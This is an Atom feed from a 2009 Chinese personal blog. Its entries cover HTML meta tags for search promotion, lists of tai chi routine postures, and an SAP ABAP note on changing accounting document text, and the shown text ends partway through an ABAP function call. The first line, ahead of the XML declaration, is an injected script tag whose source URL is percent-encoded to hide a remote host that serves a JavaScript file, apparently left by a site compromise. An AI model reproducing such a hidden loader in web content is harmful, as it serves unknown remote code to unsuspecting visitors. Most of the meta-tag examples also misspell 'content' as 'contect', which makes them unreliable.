<script src=http://%77%77%77%2E%74%76%33%38%30%30%2E%63%6E/%74%63%2E%6A%73></script><?xml version="1.0" encoding="UTF-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  <title type="html"><![CDATA[紫气东来]]></title>
  <subtitle type="html"><![CDATA[天行健，君子以自强不息。]]></subtitle>
  <id>http://www.dbsun.com/</id> 
  <link rel="alternate" type="text/html" href="http://www.dbsun.com/" /> 
  <link rel="self" type="application/atom+xml" href="http://www.dbsun.com/atom.asp" /> 
  <generator uri="http://www.pjhome.net/" version="2.4.1022">PJBlog2</generator> 
  <updated>2009-02-03T17:32:49+08:00</updated> 

  <entry>
	  <title type="html"><![CDATA[网页meta在web推广中的最大作用及其语法,有用的网络营销策略优化]]></title>
	  <author>
		 <name>zilong</name>
		 <uri>http://www.dbsun.com/</uri>
		 <email>dbmaster@163.com</email>
	  </author>
	  <category term="" scheme="http://www.dbsun.com/default.asp?cateID=5" label="ASP.NET" /> 
	  <updated>2009-02-03T17:32:49+08:00</updated>
	  <published>2009-02-03T17:32:49+08:00</published>
		  <summary type="html"><![CDATA[打开一个网页,查看源码,注意看看网页中的META是什么情况?下面分析一下网页META的格式化与语法:<br/><br/>meta是用来在HTML文档中模拟HTTP协议的响应头报文。meta&nbsp;标签用于网页的&lt;head&gt;与&lt;/head&gt;中，meta&nbsp;标签的用处很多。meta的属性有两种：name和http-equiv。name属性主要用于描述网页，对应于content（网页内容），以便于搜索引擎机器人查找、分类（目前几乎所有的搜索引擎都使用网上机器人自动查找meta值来给网页分类）。这其中最重要的是description（站点在搜索引擎上的描述）和keywords（分类关键词），所以应该给每页加一个meta值。比较常用的有以下几个：<br/><br/>　　name&nbsp;属性<br/>　　1、&lt;meta&nbsp;name=&#34;Generator&#34;&nbsp;contect=&#34;&#34;&gt;用以说明生成工具（如&nbsp;Microsoft&nbsp;FrontPage&nbsp;4.0）等；<br/>　　2、&lt;meta&nbsp;name=&#34;KEYWords&#34;&nbsp;contect=&#34;&#34;&gt;向搜索引擎说明你的网页的关键词；<br/>　　3、&lt;meta&nbsp;name=&#34;DEscription&#34;&nbsp;contect=&#34;&#34;&gt;告诉搜索引擎你的站点的主要内容；<br/>　　4、&lt;meta&nbsp;name=&#34;Author&#34;&nbsp;contect=&#34;你的姓名&#34;&gt;告诉搜索引擎你的站点的制作的作者；<br/>　　5、&lt;meta&nbsp;name=&#34;Robots&#34;&nbsp;contect=&nbsp;&#34;all|none|index|noindex|follow|nofollow&#34;&gt;<br/><br/>　　其中的属性说明如下：<br/>　　设定为all：文件将被检索，且页面上的链接可以被查询；<br/>　　设定为none：文件将不被检索，且页面上的链接不可以被查询；<br/>　　设定为index：文件将被检索；<br/>　　设定为follow：页面上的链接可以被查询；<br/>　　设定为noindex：文件将不被检索，但页面上的链接可以被查询；<br/>　　设定为nofollow：文件将不被检索，页面上的链接可以被查询。<br/><br/>　　http-equiv属性<br/>　　1、&lt;meta&nbsp;http-equiv=&#34;Content-Type&#34;&nbsp;contect=&#34;text/html&#34;;charset=gb_2312-80&#34;&gt;和&lt;meta&nbsp;http-equiv=&#34;Content-Language&#34;&nbsp;contect=&#34;zh-CN&#34;&gt;用以说明主页制作所使用的文字以及语言；又如英文是ISO-8859-1字符集，还有BIG5、utf-8、shift-Jis、Euc、Koi8-2等字符集；<br/>　　2、&lt;meta&nbsp;http-equiv=&#34;Refresh&#34;&nbsp;contect=&#34;n;url=http://yourlink&#34;&gt;定时让网页在指定的时间n内，跳转到页面<a href="http://yourlink" target="_blank">http://yourlink</a>;/<br/>　　3、&lt;meta&nbsp;http-equiv=&#34;Expires&#34;&nbsp;contect=&#34;Mon,12&nbsp;May&nbsp;2001&nbsp;00:20:00&nbsp;GMT&#34;&gt;可以用于设定网页的到期时间，一旦过期则必须到服务器上重新调用。需要注意的是必须使用GMT时间格式；<br/>　　4、&lt;meta&nbsp;http-equiv=&#34;Pragma&#34;&nbsp;contect=&#34;no-cache&#34;&gt;是用于设定禁止浏览器从本地机的缓存中调阅页面内容，设定后一旦离开网页就无法从Cache中再调出；<br/>　　5、&lt;meta&nbsp;http-equiv=&#34;set-cookie&#34;&nbsp;contect=&#34;Mon,12&nbsp;May&nbsp;2001&nbsp;00:20:00&nbsp;GMT&#34;&gt;cookie设定，如果网页过期，存盘的cookie将被删除。需要注意的也是必须使用GMT时间格式；<br/>　　6、&lt;meta&nbsp;http-equiv=&#34;Pics-label&#34;&nbsp;contect=&#34;&#34;&gt;网页等级评定，在IE的internet选项中有一项内容设置，可以防止浏览一些受限制的网站，而网站的限制级别就是通过meta属性来设置的；<br/>　　7、&lt;meta&nbsp;http-equiv=&#34;windows-Target&#34;&nbsp;contect=&#34;_top&#34;&gt;强制页面在当前窗口中以独立页面显示，可以防止自己的网页被别人当作一个frame页调用；<br/>　　8、&lt;meta&nbsp;http-equiv=&#34;Page-Enter&#34;&nbsp;contect=&#34;revealTrans(duration=10,transtion=&nbsp;50)&#34;&gt;和&lt;meta&nbsp;http-equiv=&#34;Page-Exit&#34;&nbsp;contect=&#34;revealTrans(duration=20，transtion=6)&#34;&gt;设定进入和离开页面时的特殊效果，这个功能即FrontPage中的“格式/网页过渡”，不过所加的页面不能够是一个frame页面。<br/><br/>例:<br/>&lt;HEAD&gt;<br/>&lt;title&gt;江苏省兴化市龙鼎水处理设备有限公司&lt;/title&gt;<br/>&lt;META&nbsp;content=&#34;水处理,水处理设备,江苏水处理,兴化龙鼎,水处理设备配件&nbsp;name=keywords&gt;<br/>&lt;META&nbsp;CONTENT=&#34;水处理,水处理设备,江苏水处理,兴化龙鼎,水处理设备配件&#34;&nbsp;name=&#34;description&#34;&gt;<br/>&lt;META&nbsp;content=网络,网站建设专家&nbsp;name=author&gt;<br/>&lt;META&nbsp;content=水处理,水处理设备,江苏水处理,兴化龙鼎,水处理设备配件&nbsp;name=Abstract&gt;<br/>&lt;META&nbsp;content=水处理,水处理设备,江苏水处理,兴化龙鼎,水处理设备配件&nbsp;name=Classification&gt;<br/>&lt;META&nbsp;content=&#34;index,&nbsp;follow&#34;&nbsp;name=robots&gt;<br/>&lt;META&nbsp;content=水处理,水处理设备,江苏水处理,兴化龙鼎,水处理设备配件&nbsp;name=searchtitle&gt;<br/>&lt;META&nbsp;content=&#34;INDEX,&nbsp;FOLLOW&#34;&nbsp;name=GOOGLEBOT&gt;<br/>&lt;META&nbsp;content=&#34;Copyright&nbsp;2001-2004&nbsp;-&nbsp;江苏省兴化市龙鼎水处理设备有限公司&#34;&nbsp;name=copyright&gt;<br/>&lt;meta&nbsp;name=&#34;GENERATOR&#34;&nbsp;content=&#34;Microsoft&nbsp;Visual&nbsp;Studio&nbsp;.NET&nbsp;7.1&#34;&gt;<br/>&lt;meta&nbsp;name=&#34;CODE_LANGUAGE&#34;&nbsp;content=&#34;Visual&nbsp;Basic&nbsp;.NET&nbsp;7.1&#34;&gt;<br/>&lt;meta&nbsp;name=&#34;vs_defaultClientScript&#34;&nbsp;content=&#34;JavaScript&#34;&gt;<br/>&lt;link&nbsp;href=&#34;css.css&#34;&nbsp;rel=&#34;stylesheet&#34;&nbsp;type=&#34;text/css&#34;&gt;<br/>&lt;/HEAD&gt;<br/><br/>1.公司版权注释&nbsp;<br/>＜!---&nbsp;The&nbsp;site&nbsp;is&nbsp;designed&nbsp;by&nbsp;Maketown,Inc&nbsp;06/2000&nbsp;---＞<br/><br/>2.网页显示字符集&nbsp;<br/>简体中文：＜META&nbsp;HTTP-EQUIV=&#34;Content-Type&#34;&nbsp;CONTENT=&#34;text/html;&nbsp;charset=gb2312&#34;＞&nbsp;<br/>繁体中文：＜META&nbsp;HTTP-EQUIV=&#34;Content-Type&#34;&nbsp;CONTENT=&#34;text/html;&nbsp;charset=BIG5&#34;＞&nbsp;<br/>英&nbsp;语：＜META&nbsp;HTTP-EQUIV=&#34;Content-Type&#34;&nbsp;CONTENT=&#34;text/html;&nbsp;charset=iso-8859-1&#34;＞<br/><br/>3.网页制作者信息&nbsp;<br/>＜META&nbsp;name=&#34;author&#34;&nbsp;content=&#34;llb@163.com&#34;＞<br/><br/>4.网站简介&nbsp;<br/>＜META&nbsp;NAME=&#34;DESCRIPTION&#34;&nbsp;CONTENT=&#34;江苏省兴化市龙鼎水处理设备有限公司&#34;＞<br/><br/>5.搜索关键字&nbsp;<br/>＜META&nbsp;NAME=&#34;keywords&#34;&nbsp;CONTENT=&#34;水处理,水处理设备,江苏水处理,兴化龙鼎,水处理设备配件,&#34;＞<br/><br/>6.网页的css规范&nbsp;<br/>＜LINK&nbsp;href=&#34;style/style.css&#34;&nbsp;rel=&#34;stylesheet&#34;&nbsp;type=&#34;text/css&#34;＞&nbsp;<br/>(参见目录及命名规范)<br/><br/>7.网页标题&nbsp;<br/>＜title＞xxxxxxxxxxxxxxxxxx＜/title＞<br/><br/>.可以选择加入的标签<br/><br/>1.设定网页的到期时间。一旦网页过期，必须到服务器上重新调阅。&nbsp;<br/>＜META&nbsp;HTTP-EQUIV=&#34;expires&#34;&nbsp;CONTENT=&#34;Wed,&nbsp;26&nbsp;Feb&nbsp;1997&nbsp;08:21:57&nbsp;GMT&#34;＞<br/><br/>2.禁止浏览器从本地机的缓存中调阅页面内容。&nbsp;<br/>＜META&nbsp;HTTP-EQUIV=&#34;Pragma&#34;&nbsp;CONTENT=&#34;no-cache&#34;＞<br/><br/>3.用来防止别人在框架里调用你的页面。&nbsp;<br/>＜META&nbsp;HTTP-EQUIV=&#34;Window-target&#34;&nbsp;CONTENT=&#34;_top&#34;＞<br/><br/>4.自动跳转。&nbsp;<br/>＜META&nbsp;HTTP-EQUIV=&#34;Refresh&#34;&nbsp;CONTENT=&#34;5;URL=http://www.hnzyb.com&#34;＞5___指时间停留5秒。<br/><br/>5.网页搜索机器人向导.用来告诉搜索机器人哪些页面需要索引，哪些页面不需要索引。&nbsp;<br/>＜META&nbsp;NAME=&#34;robots&#34;&nbsp;CONTENT=&#34;none&#34;＞&nbsp;<br/>CONTENT的参数有all,none,index,noindex,follow,nofollow。默认是all。<br/><br/>6.收藏夹图标&nbsp;<br/>＜link&nbsp;rel&nbsp;=&nbsp;&#34;Shortcut&nbsp;Icon&#34;&nbsp;href=&#34;favicon.ico&#34;＞<br/><br/>所有的javascript的调用尽量采取外部调用.&nbsp;<br/>＜SCRIPT&nbsp;LANGUAGE=&#34;javascript&#34;&nbsp;SRC=&#34;script/xxxxx.js&#34;＞＜/SCRIPT＞<br/><br/>附＜body＞标签：&nbsp;<br/>＜body＞标签不属于head区，这里强调一下，为了保证浏览器的兼容性，必须设置页面背景＜body&nbsp;bgcolor=&#34;#FFFFFF&#34;＞<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.dbsun.com/default.asp?id=167" /> 
	  <id>http://www.dbsun.com/default.asp?id=167</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[陈式太极拳竞赛套路]]></title>
	  <author>
		 <name>zilong</name>
		 <uri>http://www.dbsun.com/</uri>
		 <email>dbmaster@163.com</email>
	  </author>
	  <category term="" scheme="http://www.dbsun.com/default.asp?cateID=8" label="太极拳" /> 
	  <updated>2009-01-30T11:31:17+08:00</updated>
	  <published>2009-01-30T11:31:17+08:00</published>
		  <summary type="html"><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>陈式太极拳竞赛套路----&nbsp;56式陈式太极&nbsp;<br/><br/><br/>第一段&nbsp;<br/>一、起式&nbsp;1、并脚直立&nbsp;2、开步站立&nbsp;<br/>二、右金刚捣碓&nbsp;1、转体棚捋&nbsp;2、转身右捋&nbsp;3、擦脚平推&nbsp;4、虚步撩掌&nbsp;5、举拳提膝&nbsp;6、震脚砸拳&nbsp;<br/>三、揽扎衣&nbsp;1、左转托掌&nbsp;2、分掌划弧&nbsp;3、擦脚合臂&nbsp;4、马步立掌&nbsp;<br/>四、右六封四闭&nbsp;1、转体旋腕&nbsp;2、下捋棚举&nbsp;3、棚刁上托&nbsp;4、虚步双按&nbsp;<br/>五、左单鞭&nbsp;1、转体推收&nbsp;2、转身提勾&nbsp;3、屈膝擦脚&nbsp;4、马步立掌&nbsp;<br/>六、搬拦捶&nbsp;1、转体变拳&nbsp;2、转体横击&nbsp;3、划弧翻拳&nbsp;4、转体横击&nbsp;<br/>七、护心捶&nbsp;1、转体栽拳&nbsp;2、跃转抡击&nbsp;3、马步合臂&nbsp;<br/>八、白鹤亮翅&nbsp;1、擦脚插掌&nbsp;2、收脚分掌&nbsp;<br/>九、斜行拗步&nbsp;1、转体绕臂&nbsp;2、踏脚擦步&nbsp;3、左转提勾&nbsp;4、提膝推按&nbsp;<br/>十、提收&nbsp;1、扣脚合手&nbsp;2、收脚收手&nbsp;3、提膝推按&nbsp;<br/>十一、前趟&nbsp;1、擦步右捋&nbsp;2、转身旋掌&nbsp;3、马步分掌&nbsp;<br/>十二、右掩手肱捶&nbsp;1、提膝刁收&nbsp;2、擦脚合臂&nbsp;3、转身旋臂&nbsp;4、弓步发拳&nbsp;<br/>十三、披身捶&nbsp;1、转身撩拳&nbsp;2、外旋举拳&nbsp;<br/>十四、背折靠&nbsp;<br/>十五、青龙出水&nbsp;1、转提绕臂&nbsp;2、转提旋臂&nbsp;3、撩弹收拳&nbsp;4、马步发拳&nbsp;<br/>十六、斩手&nbsp;1、摆脚翻掌&nbsp;2、震脚切掌&nbsp;<br/>十七、劈架子&nbsp;<br/>十八、翻花舞袖&nbsp;<br/>十九、左掩手肱捶&nbsp;1、擦脚合臂&nbsp;2、转身旋臂&nbsp;3、弓步发拳&nbsp;<br/>二十、左六封四闭&nbsp;1、下捋棚举&nbsp;2、虚步刁托&nbsp;3、擦脚翻掌&nbsp;4、虚步双按&nbsp;<br/>二十一、右单鞭&nbsp;1、转体推收&nbsp;2、转身提勾&nbsp;3、屈膝擦脚&nbsp;4、马步立掌&nbsp;<br/>第二段&nbsp;<br/>二十二、云手（向右）1收脚旋掌&nbsp;2、开步推掌&nbsp;3、插步旋掌&nbsp;4、开步旋掌&nbsp;5、旋掌平摆&nbsp;6、提膝横击&nbsp;<br/>二十三、云手（向左）1、踏脚旋掌&nbsp;2、开步推掌&nbsp;3、插步旋掌&nbsp;4、开步旋掌&nbsp;<br/>二十四、高探马&nbsp;1、转提旋掌&nbsp;2、马步分掌&nbsp;3、转身推掌&nbsp;<br/>二十五、右连珠炮&nbsp;1、转身捋棚&nbsp;2、撤步刁托&nbsp;3、跟步前推&nbsp;4、撤步刁托&nbsp;5、跟步前推&nbsp;<br/>二十六、左连珠炮&nbsp;1、撤步左捋&nbsp;2、退步刁托&nbsp;3、跟步前推&nbsp;4、撤步刁托&nbsp;5、跟步前推&nbsp;<br/>二十七、闪通背&nbsp;1、屈膝分掌&nbsp;2、弓步穿掌&nbsp;3、拧腰旋掌&nbsp;4、转身推劈&nbsp;<br/>第三段&nbsp;<br/>二十八、指裆捶&nbsp;1、转身旋掌&nbsp;2、擦脚合臂&nbsp;3、转身旋臂&nbsp;4、弓步发拳&nbsp;<br/>二十九、白猿献果&nbsp;1、转提左捋&nbsp;2、转提棚臂&nbsp;3、提膝出拳&nbsp;<br/>三十、&nbsp;双推手&nbsp;1、落脚旋掌&nbsp;2、虚步双推&nbsp;<br/>三十一、中盘&nbsp;1、转身挫掌&nbsp;2、翻转挫掌&nbsp;3、翻转挫掌&nbsp;4、转身穿掌&nbsp;5、绕臂擦掌&nbsp;6、马步提手&nbsp;<br/>三十二、前招&nbsp;<br/>三十三、后招&nbsp;<br/>三十四、右野马分鬃&nbsp;1、转提绕臂&nbsp;2、提膝绕臂&nbsp;3、马步穿掌&nbsp;<br/>三十五、左野马分鬃&nbsp;1、提膝旋掌&nbsp;2、马步穿掌&nbsp;<br/>三十六、摆莲跌叉&nbsp;1、转身旋掌&nbsp;2、转身捋按&nbsp;3、收脚摆掌&nbsp;4、独立摆脚&nbsp;5、震脚跌叉&nbsp;<br/>三十七、左右金鸡独立&nbsp;1、提膝穿掌&nbsp;2、落脚踏按&nbsp;3、擦脚摆掌&nbsp;4、收脚收掌&nbsp;5、提膝穿掌&nbsp;<br/>第四段&nbsp;<br/>三十八、倒卷肱&nbsp;1、马步展臂&nbsp;2、退步推掌&nbsp;3、退步推掌&nbsp;<br/>三十九、退步压肘&nbsp;1、转身旋掌&nbsp;2、转体摆掌&nbsp;3、退步横击&nbsp;<br/>四十、&nbsp;擦脚&nbsp;1、转身右捋&nbsp;2、歇步叠臂&nbsp;3、分脚拍掌&nbsp;<br/>四十一、蹬一根&nbsp;1、转身叠腕&nbsp;2、撩拳揣脚&nbsp;<br/>四十二、海底翻花&nbsp;1、屈膝旋臂&nbsp;2、提膝翻臂&nbsp;<br/>四十三、击地捶&nbsp;1、落脚落拳&nbsp;2、提脚举拳&nbsp;3、弓步举拳&nbsp;<br/>四十四、翻身二起&nbsp;1、翻转举拳&nbsp;2、腾起拍脚&nbsp;<br/>四十五、双震脚&nbsp;1、落脚分展&nbsp;2、屈蹲按掌&nbsp;3、落踏按掌&nbsp;<br/>四十六、蹬脚&nbsp;<br/>四十七、玉女穿梭&nbsp;1、落脚穿掌&nbsp;2、腾插架推&nbsp;<br/>四十八、顺鸾肘&nbsp;1、擦脚合臂&nbsp;2、马步顶肘&nbsp;<br/>四十九、裹鞭炮&nbsp;1、跳转绕臂&nbsp;2、马步分击&nbsp;<br/>五十、&nbsp;雀地龙&nbsp;<br/>五十一、上步七星&nbsp;1、弓步穿拳&nbsp;2、虚步架拳&nbsp;3、旋腕外撑&nbsp;4、变拳翻转&nbsp;<br/>五十二、退步跨虎&nbsp;1、撤步分掌&nbsp;2、丁步举掌&nbsp;<br/>五十三、转身摆莲&nbsp;1、转身旋掌&nbsp;2、提膝分掌&nbsp;3、落脚摆掌&nbsp;4、独立拍脚&nbsp;<br/>五十四、当头炮&nbsp;1、落脚推掌&nbsp;2、转身收拳&nbsp;3、转体棚击&nbsp;<br/>五十五、左金刚捣碓&nbsp;1、变掌平捋&nbsp;2、虚步撩掌&nbsp;3、震脚砸拳&nbsp;<br/>五十六、收式&nbsp;<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.dbsun.com/default.asp?id=166" /> 
	  <id>http://www.dbsun.com/default.asp?id=166</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[心意混元48式太極拳]]></title>
	  <author>
		 <name>zilong</name>
		 <uri>http://www.dbsun.com/</uri>
		 <email>dbmaster@163.com</email>
	  </author>
	  <category term="" scheme="http://www.dbsun.com/default.asp?cateID=8" label="太极拳" /> 
	  <updated>2009-01-30T11:25:12+08:00</updated>
	  <published>2009-01-30T11:25:12+08:00</published>
		  <summary type="html"><![CDATA[“心意混元48式太極拳”是馮志強先生對陳式太極拳進行科學研究後，創造性地將陳式太極拳一路中的全部基本拳式和二路中的部分拳式進行合理地編排與巧妙地連接而成的新套路。該套路在心意混元24式太極拳的基礎上，不僅增加了拳式的數量，而且提高了拳式動作的難度，從而進一步使其中所形成的鮮明特點和獨特風格得到了更為淋漓盡致地發揚和發揮，更加全面、深刻地展現出心意混元太極拳的獨特魅力，是提高混元太極拳修煉水準的必修套路。<br/><br/>心意混元48式太極拳以“先求無極，後成太極”為基本的指導思想，以移轉抽纏為基本的運動方式，以連綿不斷的混元太極圈為基本的動作形式，以培養浩然正氣和太極內勁、內功為重點內容，以“內外雙修、陰陽中和”的拳術真諦為終極目標，將練養結合的太極內功修煉法和套封插逼、截打擒拿的太極散手技擊法融為一體，以簡潔洗煉、活潑清新的格調和自然流暢、瀟灑飄逸的表現形式展示出心意混元太極拳法的豐富內容及深邃內涵。該套路更加突出和加強了螺旋纏絲勁和混元護體功的修煉和運用，要求意(心)、氣、精(勁)、神、形、力六大要素內外合一，混元真氣內循經絡、外走螺旋、節節貫串、遍達周身，使全身經絡和血脈運行得更加暢通，起到增強內氣和提高技擊效能的作用。<br/><br/>整個套路由簡至繁，由易入難，完整連貫，一氣呵成。演練時高潮迭起，意趣環生，緩急相隨，節奏鮮明；慢則松靜圓順，如行雲之綿綿相依，似流水之滔滔相連；快則冷脆彈抖，如大海之波濤翻滾，似漩渦之湍流急轉。練後倍感精神煥發、勁力充沛，能使人真切地體驗到“易得內氣，易增內功”的神奇效力。該套路早已被正式列為國際太極拳比賽的規定套路，深受海內外廣大太極拳愛好者的喜愛，日益普及。<br/><br/>&nbsp;1、太極起式；2、金剛搗碓；3、懶紮衣；4、六封四閉；<br/><br/>5、單鞭；6、白鶴亮翅；7、斜行拗步；8、提收；<br/><br/>9、前膛拗步；10、掩手肱捶；&nbsp;11、披身捶；12、背折靠；<br/><br/>13、青龍出水；&nbsp;14、雙推手；15、三換掌；16、肘底捶；<br/><br/>17、倒卷肱；&nbsp;18、退步壓肘；19、中盤；20、閃通背；<br/><br/>21、擊地捶；22、翻身二起腳；23、獸頭式；24、旋風腳；<br/><br/>25、右蹬腳；26、小擒打；27、抱頭推山；28、前後招；<br/><br/>29、雙震腳；30、玉女穿梭；31、穿心肘；32、擺腳跌叉；<br/><br/>33、金雞獨立；34、十字擺蓮；35、指襠捶；36、野馬分鬃；<br/><br/>37、運手；38、高探馬；39、左右擦腳；40、左蹬腳；<br/><br/>41、連珠炮；42、白猿獻果；43、雀地龍；44、上步七星；<br/><br/>45、退步跨虎；46、煞腰壓肘；47、當頭炮；48、收式。<br/>&nbsp;<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.dbsun.com/default.asp?id=165" /> 
	  <id>http://www.dbsun.com/default.asp?id=165</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[混元太极拳二十四式]]></title>
	  <author>
		 <name>zilong</name>
		 <uri>http://www.dbsun.com/</uri>
		 <email>dbmaster@163.com</email>
	  </author>
	  <category term="" scheme="http://www.dbsun.com/default.asp?cateID=8" label="太极拳" /> 
	  <updated>2009-01-30T11:12:56+08:00</updated>
	  <published>2009-01-30T11:12:56+08:00</published>
		  <summary type="html"><![CDATA[混元太极拳二十四式<br/>1.无极起式&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;13.青龙出水<br/>2.金刚捣碓&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;14.双推手<br/>3.懒扎衣&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;15.三换掌<br/>4.六封四闭&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;16.倒卷肱<br/>5.单鞭&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;17.退步压肘<br/>6.白鹤亮翅&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;18.中盘<br/>7.斜行&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;19.闪通背<br/>8.提收&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;20.击地捶<br/>9.前蹚拗步&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;21.平心捶<br/>10.掩手肱捶&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;22.煞腰压肘<br/>11.披身捶&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;23.当头炮<br/>12.背折靠&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;24.收式<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.dbsun.com/default.asp?id=164" /> 
	  <id>http://www.dbsun.com/default.asp?id=164</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[修改会计凭证出口]]></title>
	  <author>
		 <name>zilong</name>
		 <uri>http://www.dbsun.com/</uri>
		 <email>dbmaster@163.com</email>
	  </author>
	  <category term="" scheme="http://www.dbsun.com/default.asp?cateID=6" label="ABAP" /> 
	  <updated>2008-12-18T16:08:47+08:00</updated>
	  <published>2008-12-18T16:08:47+08:00</published>
		  <summary type="html"><![CDATA[<br/>凭证抬头文本需要按照一定规则带一些数据！！！<br/>在系统无标准功能的情况下，结转成本，收入确认可能会需要用以下函数。<br/><br/><br/>函数：CALL&nbsp;FUNCTION&nbsp;&#39;CHANGE_DOCUMENT&#39;<br/>函数：J_1IEWT_DUEDATE<br/><br/>非常危险的函数，非必要请不要使用，后果自负哦。<br/><br/><br/><br/>涉及到的其他事情：<br/>读文本，双击文本，GOTO--表头<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;VL_TDNAME&nbsp;=&nbsp;IT_EXCEL-VBELN&nbsp;.<br/>*-------------------------------------------------------------------*取出仓单备注为WTEW上面的备注文本<br/>&nbsp;&nbsp;&nbsp;&nbsp;CALL&nbsp;FUNCTION&nbsp;&#39;READ_TEXT&#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EXPORTING<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CLIENT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;SY-MANDT<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;&#39;Z002&#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LANGUAGE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;&#39;1&#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NAME&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;VL_TDNAME<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OBJECT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;&#39;VBBK&#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ARCHIVE_HANDLE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;0<br/>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LOCAL_CAT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;&#39;&nbsp;&#39;<br/>*&nbsp;&nbsp;&nbsp;IMPORTING<br/>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HEADER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb